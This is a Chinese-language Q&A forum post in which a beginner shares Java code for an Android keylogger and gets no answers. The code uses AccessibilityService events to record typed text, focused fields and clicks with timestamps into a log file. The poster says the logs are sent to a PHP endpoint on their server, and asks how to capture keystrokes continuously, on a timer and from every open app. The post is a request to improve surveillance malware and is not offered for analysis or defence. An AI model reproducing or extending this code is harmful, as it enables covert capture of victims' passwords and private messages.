需要键盘记录器帮助

时间:2019-11-24 17:12:43

标签: java android

我不是程序员,只是想学习和理解Java。 我有用于Android Keylogger的代码,该代码可以收集击键并发送到php文件。

我也可以获取日志,但不是全部,但是我希望有三件事可以工作

  1. 我如何设置获取日志的特定时间?
  2. 我如何获取所有打开的应用程序/窗口日志?
  3. 如何获取继续日志?意思是当给出Keylogger命令时,它应该是继续获取​​日志作为计时器设置

这是主要的Java代码:

if(onKeylogger) {

        try {

            DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);

            String time = df.format(Calendar.getInstance().getTime());

            switch (event.getEventType()) {//Keylogger

                case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {

                    String data = event.getText().toString();

                    SF.Log("KEY1", time + "|(TEXT)|" + data);
                    textKeylogger = time + "|(TEXT)|" + data + "|^|";
                    break;
                }

                case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
                    String data = event.getText().toString();
                    SF.Log("KEY2", time + "|(FOCUSED)|" + data);
                    textKeylogger = time + "|(FOCUSED)|" + data + "|^|";
                    break;
                }

                case AccessibilityEvent.TYPE_VIEW_CLICKED: {
                    String data = event.getText().toString();
                    SF.Log("KEY3", time + "|(CLICKED)|" + data);
                    textKeylogger = time + "|(CLICKED)|" + data + "|^|";
                    break;
                }

                default:
                    break;
            }
        } catch (Exception ex) {

            SF.Log("ERROR1","AccessibilityService");
        }
    }

    AccessibilityNodeInfo nodeInfo = event.getSource();


    if (AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED == event.getEventType()) {

          try {
                //---keylogger---

                if (onKeylogger) {

                    if (textKeylogger.length() > 2) {

                        writeFile("keys.log", textKeylogger);
                    }
                }

                if (SF.SetRead(this, "keylogger").equals("true")) {
                    onKeylogger = true;
                } else {
                    onKeylogger = false;
                }


 //---------------//

我得到即时日志,我试图更改一些代码,例如

(textKeylogger.length() > 2)

(textKeylogger.length() > 20)

对不起,因为我是初学者,所以可能会愚蠢地进行编辑。但是,并非所有日志都来自我的php文件。

注意:这些代码Grab击键,会在我的服务器面板上生成.txt日志文件。

0 个答案:

没有答案